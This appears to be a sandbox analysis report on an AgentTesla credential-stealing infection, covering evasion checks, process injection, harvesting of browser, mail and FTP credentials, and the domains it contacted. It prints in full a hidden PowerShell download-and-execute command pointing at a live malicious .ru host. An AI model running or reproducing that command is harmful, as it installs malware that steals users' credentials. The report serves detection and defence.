Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99541	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99436	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99326	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99212	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98889	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98751	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98387	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 98062	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: RegSvcs.exe, 0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: RegSvcs.exe, 00000008.00000002.2577560284.0000000006581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllw
Source: wscript.exe, 0000000A.00000003.2494459581.0000017DBF6C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegSvcs.exe, 0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: RegSvcs.exe, 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Binary or memory string: VMwareVBox
Source: powershell.exe, 00000000.00000002.2297021387.000002213FA30000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3381286822.0000000005C16000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_016780A8 CheckRemoteDebuggerPresent,

8_2_016780A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 10BA008			Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 8A5008			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\file.exe "C:\Users\user\AppData\Local\Temp\file.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\file.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\unspattered\recomplaint.exe "C:\Users\user\AppData\Local\unspattered\recomplaint.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\unspattered\recomplaint.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\unspattered\recomplaint.exe"	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -command "& { invoke-webrequest -uri https://oootorgline.ru/components/grace.exe -outfile c:\users\user\appdata\local\temp\file.exe; start-process 'c:\users\user\appdata\local\temp\file.exe' }"

Source: RegSvcs.exe, 00000008.00000002.2567429663.00000000034E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegSvcs.exe, 00000008.00000002.2567429663.00000000034E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: program manager
Source: RegSvcs.exe, 00000008.00000002.2567429663.00000000034E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: program managerTH
Source: file.exe, 00000003.00000000.2259095278.0000000000482000.00000002.00000001.01000000.00000007.sdmp, recomplaint.exe, 00000007.00000000.2334344307.0000000000482000.00000002.00000001.01000000.00000008.sdmp, recomplaint.exe, 0000000B.00000000.2494140304.0000000000482000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3370850966.0000000002989000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2567429663.0000000003414000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2567429663.0000000003446000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2567429663.000000000343E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5768, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2567429663.0000000003414000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5768, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3370850966.0000000002989000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2567429663.0000000003414000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2567429663.0000000003446000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2567429663.000000000343E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 4412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 5768, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	221 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	212 Process Injection	1 Obfuscated Files or Information	11 Input Capture	124 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Credentials in Registry	621 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	12 Process Discovery	Distributed Component Object Model	11 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	251 Virtualization/Sandbox Evasion	LSA Secrets	251 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	212 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RTGS-WB-ABS-240730-NEW.lnk	24%	ReversingLabs	Script-BAT.Trojan.Heuristic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\file.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\unspattered\recomplaint.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
techniqueqatar.com	208.91.198.176	true	true	unknown
oootorgline.ru	176.99.3.36	true	true	unknown
api.ipify.org	172.67.74.152	true	false	unknown
ip-api.com	208.95.112.1	true	true	unknown
171.39.242.20.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown
https://oootorgline.ru/components/grace.exe	true		unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.2287618621.00000221376BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2287618621.0000022137800000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org	RegSvcs.exe, 00000008.00000002.2567429663.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.3370850966.00000000028EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oootorgline.ru	powershell.exe, 00000000.00000002.2262113733.0000022128282000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://crl.m	RegSvcs.exe, 0000000C.00000002.3381286822.0000000005C16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://account.dyn.com/	RegSvcs.exe, 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.2262113733.0000022127882000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.2262113733.0000022127882000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000000.00000002.2262113733.0000022128282000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
